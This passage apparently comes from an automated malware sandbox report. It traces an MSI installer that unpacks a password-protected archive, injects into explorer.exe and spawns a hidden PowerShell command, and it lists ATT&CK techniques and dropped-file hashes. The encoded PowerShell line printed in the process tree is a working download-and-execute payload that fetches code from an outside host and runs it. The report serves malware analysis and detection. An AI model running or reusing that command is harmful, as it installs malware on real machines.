  PID:2900
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,5833447940777015106,7034923389825967084,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4920 /prefetch:1
  2⤵
  PID:4504
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,5833447940777015106,7034923389825967084,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6152 /prefetch:1
  2⤵
  PID:5044
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,5833447940777015106,7034923389825967084,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5772 /prefetch:1
  2⤵
  PID:4828
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,5833447940777015106,7034923389825967084,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6388 /prefetch:1
  2⤵
  PID:440
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,5833447940777015106,7034923389825967084,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6344 /prefetch:1
  2⤵
  PID:5000
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,5833447940777015106,7034923389825967084,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6880 /prefetch:1
  2⤵
  PID:924
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1892,5833447940777015106,7034923389825967084,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5944 /prefetch:8
  2⤵
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  PID:3224
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1892,5833447940777015106,7034923389825967084,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=7088 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1224

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
1⤵
- Suspicious use of WriteProcessMemory
PID:1636
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffa396c3cb8,0x7ffa396c3cc8,0x7ffa396c3cd8
  2⤵
  PID:4040
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1888,3988219586301284741,5042344664127623568,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1872 /prefetch:2
  2⤵
  PID:3244
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1888,3988219586301284741,5042344664127623568,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2244 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1972

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:684

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5016

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4000

C:\Windows\System32\msiexec.exe
"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\Temp1____x64___setup___x32___.zip\setup.msi"
1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
PID:4740

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1204
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 72EA2F80746A3AAB6C42E16705A19267
  2⤵
  - Loads dropped DLL
  PID:4856
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\pss7662.ps1" -propFile "C:\Users\Admin\AppData\Local\Temp\msi764F.txt" -scriptFile "C:\Users\Admin\AppData\Local\Temp\scr7650.ps1" -scriptArgsFile "C:\Users\Admin\AppData\Local\Temp\scr7651.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue."
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:680
- C:\Users\Admin\AppData\Roaming\Uifie Public Co\JoisApp\UnRAR.exe
  "C:\Users\Admin\AppData\Roaming\Uifie Public Co\JoisApp\UnRAR.exe" x -pe8b907ad "C:\Users\Admin\AppData\Roaming\Uifie Public Co\JoisApp\ruw9eigh.rar" "C:\Users\Admin\AppData\Roaming\Uifie Public Co\JoisApp\"
  2⤵
  - Executes dropped EXE
  PID:2788
- C:\Users\Admin\AppData\Roaming\Uifie Public Co\JoisApp\steamerrorreporter64.exe
  "C:\Users\Admin\AppData\Roaming\Uifie Public Co\JoisApp\steamerrorreporter64.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of SetThreadContext
  PID:1580
- - C:\Windows\SysWOW64\explorer.exe
    C:\Windows\SysWOW64\explorer.exe explorer.exe
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of UnmapMainImage
    PID:2984
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -windowstyle hidden -e JAB3AD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBjAGwAaQBlAG4AdAA7ACQAYgBzAD0AJAB3AC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwAHMAOgAvAC8AbwBwAGUAbgBzAHUAbgAuAG0AbwBuAHMAdABlAHIALwAyADUAMAA1ADMALgBiAHMANgA0ACIAKQA7AFsAQgB5AHQAZQBbAF0AXQAgACQAeAA9AFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiAHMALgBSAGUAcABsAGEAYwBlACgAIgAhACIALAAiAGIAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAQAAiACwAIgBoACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACQAIgAsACIAbQAiACkALgBSAGUAcABsAGEAYwBlACgAIgAlACIALAAiAHAAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAXgAiACwAIgB2ACIAKQApADsAZgBvAHIAKAAkAGkAPQAwADsAJABpACAALQBsAHQAIAAkAHgALgBDAG8AdQBuAHQAOwAkAGkAKwArACkAewAkAHgAWwAkAGkAXQA9ACAAKAAkAHgAWwAkAGkAXQAgAC0AYgB4AG8AcgAgADEANgA3ACkAIAAtAGIAeABvAHIAIAAxADgAfQA7AGkAZQB4ACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJAB4ACkAKQA=
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4708
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
        5⤵
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of SendNotifyMessage
        
        PID:2840
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffa4ace3cb8,0x7ffa4ace3cc8,0x7ffa4ace3cd8
        6⤵
        
        PID:4476
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1924,14428495843932903589,7049426532775783474,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1920 /prefetch:2
        6⤵
        
        PID:4540
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1924,14428495843932903589,7049426532775783474,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2388 /prefetch:3
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:5104
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1924,14428495843932903589,7049426532775783474,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2840 /prefetch:8
        6⤵
        
        PID:2572
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,14428495843932903589,7049426532775783474,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3340 /prefetch:1
        6⤵
        
        PID:4968
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,14428495843932903589,7049426532775783474,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3356 /prefetch:1
        6⤵
        
        PID:5060
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,14428495843932903589,7049426532775783474,131072 --lang=en-US --extension-process --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4036 /prefetch:1
        6⤵
        
        PID:3908
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,14428495843932903589,7049426532775783474,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5200 /prefetch:1
        6⤵
        
        PID:1316
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,14428495843932903589,7049426532775783474,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5228 /prefetch:1
        6⤵
        
        PID:4424
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1924,14428495843932903589,7049426532775783474,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3352 /prefetch:8
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1340
      - C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1924,14428495843932903589,7049426532775783474,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5852 /prefetch:8
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2068
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,14428495843932903589,7049426532775783474,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5928 /prefetch:1
        6⤵
        
        PID:4056
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,14428495843932903589,7049426532775783474,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3584 /prefetch:1
        6⤵
        
        PID:1460
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2984 -s 1856
      4⤵
      Program crash
      PID:2068
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2984 -s 1844
      4⤵
      Program crash
      PID:4344
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2984 -s 1864
      4⤵
      Program crash
      PID:2276

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 2984 -ip 2984
1⤵
PID:4016

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 2984 -ip 2984
1⤵
PID:1352

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 2984 -ip 2984
1⤵
PID:4952

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1472

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1336

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Config.Msi\e597383.rbs

Filesize
22KB

MD5
e6f2c27ae73806a8e27548f6842d7fd5

SHA1
900421ab7e0c8bd1e57fcbb258790051f18da172

SHA256
64f1eece68b6b618cc8b4e2dadfd225e6d2c750550faae7d8efc582da202b935

SHA512
a09a6fa8486788180c7a6c96a79d1d24dbbc732414c904a716b877469a6147e6d31ef7e3f3464c1bc93bd42db89bf8c4fb4ddebddcfd8c97fb2fdbcc44168839

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
6f738fcca0370135adb459fac0d129b9

SHA1
5af8b563ee883e0b27c1c312dc42245135f7d116

SHA256
1d37a186c9be361a782dd6e45fe98b1f74215a26990af945a2b8b9aa4587ec63

SHA512
8749675cdd8f667ff7ca0a0f04d5d9cad9121fd02ed786e66bcd3c1278d8eb9ce5995d3e38669612bdc4dccae83a2d1b10312db32d5097ef843512244f6f769a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
68de3df9998ac29e64228cf1c32c9649

SHA1
be17a7ab177bef0f03c9d7bd2f25277d86e8fcee

SHA256
96825c1e60e4a87dc5dbae78b97104e6968275fa1602c69053d0192cae143f43

SHA512
1658b0bc504a8a5c57c496477cd800a893d751f03d632ef50aff9327cd33ad0e4e4f27bcb85b20bd22bef2ca65600b7d92e2a1f18fd3d08ad6391983de77beaf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
9fe0e675dc62b3931ee81a0c6ea5c870

SHA1
167776d97674e00667026981e75ee139bf6cc630

SHA256
74776e4a337c427dee0282c30b103728f4511867acdae56acfaf0b263df6c57f

SHA512
0cd3017296a4b23312f98de0d796e1757c3dc2ee56da617ef9988a1ff2946a9a1745af8ef9ae7c71472aa9301ea4b9a5431a8b96ebb5f0d923fbaadc5df2de8f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
054518964bf6d620825e393134f465ac

SHA1
a67d1d2761958c8dd92521f600152985f9b99890

SHA256
277030fa7dc51e98dc80af0d6631c728479776557b77a674e8ec7a1df2ef289f

SHA512
56dee6c903c16b7892a827e0700f1c401d403d0b952bdf6ad3117bd86ac2a0587f8e9b733e58628ce249a84171263126ead4d339bc3f0ff326a4a0dedfe4d3dd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
1KB

MD5
56def74204d0cf3d9b3c15c368b5a1e6

SHA1
a43b9a7c6605f39da436096dd5601b2d0a64f49c

SHA256
6a9d369668a822cf8dfeb645f684dcc1368470d6285e09d9908a2504ee081207

SHA512
d7487ea895cdde6d557ee9c75205efe031e20f624b47beda80b37bbd7928a02a5ceb37b40f7e70fff8e4ea9a7df7bbc1c15386c21d22af00b8f851822832d81c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
1KB

MD5
195dc717cce13cdcf259e85a1a7443bc

SHA1
66613f920cde9786d6753c238037ef7ff186f75a

SHA256
eea5dec1131d90dd48554110ed45396f82026c3b29e0282f193e3f50799ece71

SHA512
8d690a469a1f43efbf840947ce0d72ecbdfde880dec50a69309669f61b0c6a1969e21e2ee41916f4a63e0324aacdf530274bd0054b8b8f9c68c6d86baabc6364

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
951B

MD5
25dda3b864739f05008768546c7a0296

SHA1
7cee0bb44b90a5876fa6f60fbd13f10b690268ef

SHA256
9182a9a7a6d5382a6aa714d51ba208ea67aa321a2e03e668605a09dcd08bc2c8

SHA512
514973c89e048d67ff3f2519ab15d6a9fcb87b95c1e6e405d62fc04b17fd3bb8cbfd1de9bc1e79aad2f53bfca0a2bf373521cd4b8360f2b2d5a97064705ea928

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
dbdbf61d7d81e1c61d52c4002a2587fd

SHA1
c4c3899b8763435423c766692af56debd1fcefdf

SHA256
8924133982394b71ecd169fbc977b61f88c72b3a39e4e994a675cac9d5ec1fe9

SHA512
95c323d2f1885e81766beba67cc4373a40b8f3a2ca815527e36ad8656d44a2414a4b63ce0029236b144ef17be43c0ebd2a1fe18f3ed437d0598fd2ce58e6e8dc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
891114dcbe21c25c9e44603694b69871

SHA1
0cdd4d838af611576bd0b7bae59e6d4906b248f4

SHA256
a47691b6d3523de332b4d81dce77d7ad4b05649abaecb9510bd40c077c90dbfc

SHA512
774955d00ff5ccc3fae65f4ce6f304d1f3825784d5547f1c9642ffeff6a449584d03303e1216d223ff97292906d8989cecd7d1f5ad8832689fc5df9acae4e434

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
7KB

MD5
efd7aa1850acb32e61411cbf538922b8

SHA1
62a1d6f2ff6c453400bc22dd902b2e355d39e889

SHA256
2f0ff93ff4bdbc2a503cf9a854ecd2c067bc6e42d118eb2c6909470af50296ce

SHA512
2e733aaf1f6ccda94446183f3d33d0129de8157bf38fef6aaaa5ad0d48504084af7adbdd5218f907744d2aef5b25abef5bc10ec7af73f5d2c8884e057a33724e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
7KB

MD5
84ada462be9531167409f9d4fff9b2af

SHA1
57c95951a3c513175949daccb5967d8472595d45

SHA256
28eac1850d3dc0401daa7372d7b332f1f202ab8bb5fcf3227544f1490c87ccc9

SHA512
a0b6f62b666ca6fb94f262064cbaa5b4208990b103b3bfb0260327c70c5a0d21a28853212ee384d201af7ab7d16f27447be16575a52f86d0851360db074f8dfe

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
7KB

MD5
5497a6bd675b80896cd5640efcc7cf1f

SHA1
883850c4d3df15bc1aa7f6c2a732d3f1ad9c1c13

SHA256
2ea7d0f200120a3c8bc5f878b779c8e8e58d86a6db94f143b5a87d2b5fcce07d

SHA512
9f92ff50de0018c376395a13d37e6c165914a5c39a1d0799bfc61e412466b32ccb44bbba9b1a427ec8a868cb53f9526207e66141bb9fcf47ef8e9744b16c2989

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
7KB

MD5
d15990757037ccf693e18700f0e8830a

SHA1
2c707e4f024260674e50fee1aa27a599612fcf1f

SHA256
da394a9a99c8e2c6ac71555ec2d292e113ccb0755931845bceb862b80292c847

SHA512
3d839f78f9d59bd82b69ddcfc2e7eebc9bc30317b25998e705f2d9aab3fd943d493cfc26d504840b073d63b64886adaaa8d929f1c1d94e67038ce984b50185a1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
7KB

MD5
277cf43d3686c9b96b3d1afdf93663bf

SHA1
d1fe8aa1c93f00280ecd95ad692627f0d5080eff

SHA256
0eb858bc3dbba8493f28f85250d5c7e6da2b067f177245697e3f21efe6a40ef9

SHA512
23a51a16e3a3535db9e39c9ce60ffbfb7698ed5ee53a6de2fc37a71740d7bcdadde0333388630c716391099a169cca5615c4782abc1d7e366d86646a1b145d02

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
aced14d67bff837b5c6f84aec3e45ebc

SHA1
f6b5511cd54205389b836b8a0fd78e6c29ce86cf

SHA256
afcb5ac51e48f4c6eef274f07dba1cbf4c89196b2eb73d573276680ad6f0099d

SHA512
4baf2822ed249cefbce6db245f686587a02b5bed2425f360c22ccbf0aad5c7f4331fb98803897c7f4059ae5ee54ef59c2b45610a026205bd59855b64b6109572

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences

Filesize
27KB

MD5
3eef5d861da64ddeb1a76a41126883af

SHA1
8734afbc08c0849ce449f3995e727a7aaa60954d

SHA256
d4bff6f7aea23c256033b3e15b20759ceb2ca01b41780571375ea0df04351480

SHA512
5a76e947ca96271a5f80e05f0e1d949251ae3f0f1d62b4ed1b39d095eca4811034934e5aed96d1d02d364e39538e76197d7553191854c317d58144d383b3c42d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
873B

MD5
a183b7fcdd4fc50f46ff054f7616ea9b

SHA1
44fca34b0a011773b9a56ab5f34e4c5875eb92ab

SHA256
78306a1438458dbfda826b01eebf174d99c18caee20216a0b59077c599466124

SHA512
b3fb9106bacdb0691d934181dd6dfd1af479bf233c64ec85fed6e2cb3f0954eec29af8c6e7724d9e5152dad683236b8ffa41e2a15c35508e1e0307908bd85a3b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
8ae495a7507783113697f05ce730c7a8

SHA1
0a2873163232aa7704b890918712baa5833ba39b

SHA256
52757799d3005db90ea9d1f864d80cd304185a3a8fa02fd03e65827ec7bc3011

SHA512
57451adb1962dab395add525611363356b682972e28648532023c43ec9cb237297c720b9cfdbfce52ca16169f8122c4ea86302bb7671d06c009d944862090639

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe58d32a.TMP

Filesize
705B

MD5
53167376d1dcf4fd43db14e614dfc02b

SHA1
90b4e0903db37db567c159b8f2b543fec6cbdaaa

SHA256
e4310facea9cbcf152b818d77e34b00ae67b3e18afbffbb81aa40a72b2725664

SHA512
325f4f40efb915d53a0583f2c15ab374d72795466a75c8ab72601a87a86556e1bf480d216b1767ca56b97be9c6b2831493df5b99b5d87685cde8ad5e1cdfd90f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
